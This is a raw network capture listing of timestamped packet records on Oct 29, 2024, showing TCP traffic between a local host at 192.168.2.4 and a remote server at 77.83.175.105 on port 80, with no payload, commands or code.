Oct 29, 2024 04:17:21.658644915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658657074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658663988 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658693075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658700943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658700943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658703089 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658724070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658727884 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658735991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658750057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658754110 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658760071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658782005 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658799887 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658804893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658818007 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658823967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658864975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658878088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658926010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658926964 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658935070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658946037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658957005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658973932 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658993959 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659046888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659055948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659073114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659079075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659086943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659096956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659116030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659117937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659132004 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659154892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659255981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659267902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659277916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659318924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659343958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659353018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659358025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659378052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659394026 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659490108 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659601927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659612894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659621954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659631968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659641981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659653902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659655094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659663916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659684896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659698009 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659713030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659725904 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659734964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659775972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659781933 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659790993 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659801960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659821987 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659837008 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.659879923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659890890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659950972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659961939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659970999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.659991980 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660010099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660017014 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660018921 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660031080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660041094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660054922 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660067081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660068989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660118103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660129070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660147905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660159111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660168886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660172939 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660191059 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660213947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660234928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660244942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660259962 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660270929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660276890 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660296917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660306931 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660334110 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660406113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660417080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660428047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660437107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660444975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660448074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660474062 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660491943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660494089 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660504103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660543919 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660547018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660557032 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660564899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660609961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660633087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660644054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660653114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660675049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660681963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660718918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660797119 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660804987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660815954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660832882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660836935 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660840988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660851002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660855055 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660865068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660876036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660882950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660902977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660912991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660914898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.660962105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660970926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660980940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.660991907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661000967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.661027908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.661056042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661063910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661072016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661106110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661109924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.661122084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661134005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661144972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661174059 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.661192894 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.661214113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661222935 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661232948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661256075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.661263943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.661279917 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.661298037 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777070999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777091026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777102947 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777168036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777168989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777307034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777322054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777338028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777354956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777359962 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777367115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777395964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777404070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777409077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777426004 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777447939 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777518988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777529955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777545929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777556896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777580976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777582884 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777590990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777601957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777615070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777620077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777662039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777672052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777673006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777672052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777683020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777726889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777726889 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777776957 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777776957 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777786016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777801037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777812958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777822971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777833939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777843952 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777878046 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777878046 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777909040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777919054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777928114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777964115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777971983 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777971983 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.777975082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777986050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.777996063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778008938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778016090 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778069019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778069019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778078079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778130054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778140068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778148890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778187990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778219938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778247118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778291941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778312922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778357983 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778372049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778386116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778397083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778441906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778441906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778474092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778513908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778564930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778578043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778598070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778609037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778611898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778618097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778635025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778656006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778661013 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778661013 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778666019 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778701067 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778719902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778719902 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778747082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778758049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778764963 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778804064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778831005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778841019 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778861046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778871059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778882027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778898954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778911114 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778911114 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778930902 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778934956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778944016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778981924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.778991938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.778991938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779015064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779021025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779026985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779066086 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779088974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779098988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779109001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779136896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779164076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779179096 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779206991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779206991 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779256105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779264927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779275894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779345989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779345989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779365063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779376030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779386997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779397011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779417992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779428005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779438972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779449940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779469013 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779469013 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779469013 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779500008 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779519081 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779534101 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779546022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779557943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779567957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779578924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779589891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779603004 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779623985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779625893 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779634953 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779644012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779665947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779681921 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779705048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779715061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779726028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779752970 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779759884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779774904 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779779911 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779786110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779797077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779807091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779808044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779824018 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779863119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779894114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779903889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779913902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779934883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779946089 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779948950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779948950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.779954910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779974937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779987097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.779997110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780021906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780036926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780061007 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780061960 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780081034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780085087 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780085087 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780118942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780129910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780134916 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780149937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780158997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780159950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780184984 CET	49755	80	192.168.2.4	77.83.175.105
